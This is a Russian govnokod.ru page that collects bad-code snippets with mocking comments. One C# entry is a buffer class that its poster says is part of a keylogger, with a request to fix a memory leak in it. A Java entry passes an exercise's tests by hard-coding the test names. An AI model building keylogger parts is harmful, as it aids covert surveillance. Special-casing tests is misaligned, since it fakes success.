1. Лучший говнокод

    В номинации:
    За время:
  2. Java / Говнокод #23703

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    решение:
    class Twofer {
        String twofer(String name) {
            if (name.equalsIgnoreCase("Alice")){
                return "One for Alice, one for me.";
            } else if (name.equalsIgnoreCase("Bob")) {
                return "One for Bob, one for me.";
            } else {
                return "One for you, one for me.";
            }
        }
    }
    
    
    чтобы эти тесты проходили

    задачка:
    # Two Fer

    `Two-fer` or `2-fer` is short for two for one. One for you and one for me.

    ```text
    "One for X, one for me."
    ```

    When X is a name or "you".

    If the given name is "Alice", the result should be "One for Alice, one for me."
    If no name is given, the result should be "One for you, one for me."


    чувак решил не заморачиваться...

    Lure Of Chaos, 03 Февраля 2018

    Комментарии (70)
  3. Си / Говнокод #23080

    +2

    1. 1
    2. 2
    3. 3
    for(i==1;i<=1000;i++)
    
    https://youtu.be/Tzl0ELY_TiM?t=89

    И эти люди хотят кого-то учить программированию?

    j123123, 30 Мая 2017

    Комментарии (70)
  4. Pascal / Говнокод #20875

    +1873

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    function translate_a_name_of_the_winter_to_the_foreign_language(language: String): String;
      begin
        if      language = 'авестийский'    Result := 'zimō'
        else if language = 'белорусский'    Result := 'зіма'
        else if language = 'болгарский'     Result := 'зима'
        else if language = 'верхнелужицкий' Result := 'zyma'
        else if language = 'греческий'      Result := 'χειμώνας'
        else if language = 'древнепрусский' Result := 'semo'
        else if language = 'латинский'      Result := 'hiems'
        else if language = 'латышский'      Result := 'ziema'
        else if language = 'литовский'      Result := 'žiema'
        else if language = 'македонский'    Result := 'зима'
        else if language = 'нижнелужицкий'  Result := 'zyma'
        else if language = 'осетинский'     Result := 'зымӕг'
        else if language = 'польский'       Result := 'zima'
        else if language = 'русский'        Result := 'зима'
        else if language = 'санскрит'       Result := 'hima'
        else if language = 'сербский'       Result := 'зима'
        else if language = 'словацкий'      Result := 'zima'
        else if language = 'словенский'     Result := 'zima'
        else if language = 'талышский'      Result := 'зымыстон'
        else if language = 'таджикский'     Result := 'зимистон'
        else if language = 'украинский'     Result := 'зима'
        else if language = 'хорватский'     Result := 'zima'
        else if language = 'чешский'        Result := 'zima'
      end;

    Из одного очень серьёзного проекта.

    Amayak_Akopyan, 20 Августа 2016

    Комментарии (70)
  5. C# / Говнокод #20420

    +7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    class Buffer
        {
            StringBuilder buffer = new StringBuilder("", 55);
    
            public void append(String symbol)
            {
                if (buffer.Length > 50)
                    writeToLog();
    
                buffer.Append(symbol);
            }
            
            public void removeLast()
            {
                if (buffer.Length == 0)
                    return;
    
                buffer.Length--;
            }
    
            private void writeToLog()
            {
                keylogFile.write(buffer.ToString());
    
                buffer.Clear();
    
                GC.Collect();
            }
        }

    Выдавил класс буфера для записи в лог с кейлоггера , так как нужно учитывать [backspace].
    Туда передаются строки по 1 символу , так вот если убрать в конце GC.Collect(); начинает течь память ,
    по 100кб где то в минуту при быстром наборе текста ,причем сама она уже потом не освобождается .

    Не могу понять, чем это может быть вызвано.С GC.Collect(); все отлично .

    partizanes, 25 Июля 2016

    Комментарии (70)
  6. C# / Говнокод #18118

    +942

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    public static class IntExtension
        {
            public static int NotMoreThan(this int i, int thanWhat){
                return i < thanWhat ? thanWhat : i;
            }
        }

    непонятно что

    tjmaster, 06 Мая 2015

    Комментарии (70)
  7. Pascal / Говнокод #17759

    +94

    1. 1
    2. 2
    SetLength(kokoko, Length(kokoko)+1);
    kokoko[Length(kokoko)-1] := Something;

    БЕСИТ

    TarasB, 10 Марта 2015

    Комментарии (70)
  8. PHP / Говнокод #16269

    +157

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    class WP_Post {
    	public static function get_instance( $post_id ) {
    		...
            }
    	public function __construct( $post ) {
    		foreach ( get_object_vars( $post ) as $key => $value )
    			$this->$key = $value;
    	}

    Вордпресс 3.9.1. Создать объект можно только из объекта. Ну или передав айдишник записи (что само по себе еще логично), но называется эта хуйня почему-то get_instance(), словно это синглтон.

    Fike, 02 Июля 2014

    Комментарии (70)
  9. C# / Говнокод #15784

    +137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    public class Entity
    {
        // пример
        private DateTime _modified = new DateTime(2014, 4, 18, 23, 59, 59);
    
      public void SaveModified()
      {
                var date = DateTime.Parce(this._datetime.ToShortDateString());
                base.Save(date, ... );
      }
    }

    Продолжение проекта http://govnokod.ru/15780

    Насколько я понял, то это "операция усечения даты" 8-D
    которая должна была выглядеть так:
    var date = this._datetime.Date;

    CodeKiller, 19 Апреля 2014

    Комментарии (70)
  10. C++ / Говнокод #13727

    +14

    1. 1
    2. 2
    struct Ziga : std::exception {};
    throw Ziga();

    Теперь вы знаете как кинуть зигу в C++ !!

    PSIAlt, 02 Сентября 2013

    Комментарии (70)
  11. Pascal / Говнокод #13218

    +127

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    Function DiskInDrive(ADriveLetter : Char) : Boolean;
    var
      SectorsPerCluster,
      BytesPerSector,
      NumberOfFreeClusters,
      TotalNumberOfClusters   : Cardinal;
    begin
      Result := GetDiskFreeSpace(PChar(ADriveLetter+':\'),
                                  SectorsPerCluster,
                                  BytesPerSector,
                                  NumberOfFreeClusters,
                                  TotalNumberOfClusters);
    
    end;
    
    // еще один шедевр:
    
    var
     SR  : TSearchRec;
     Res : integer;
     OldErrMode : integer;
    begin
     // Запоминаем текущий режим обработки ошибок и устанавливаем SEM_FAILCRITICALERRORS
     // Это необходимо для подавления появления окна с сообщение о том, что устройство не готово
     OldErrMode = SetErrorMode(SEM_FAILCRITICALERRORS);
     try
      Res := FindFirst('a:\*.*', faAnyfile, SR);
      FindClose(SR);
     finally
      SetErrorMode(OldErrMode)
     end;
    end;

    С помощью этих процедур Олежик Зайцев на своем сайте предлагает определять доступность дисков, минуя сообщение WINDOWS "Диск не готов".
    Без комментариев.

    Stertor, 23 Июня 2013

    Комментарии (70)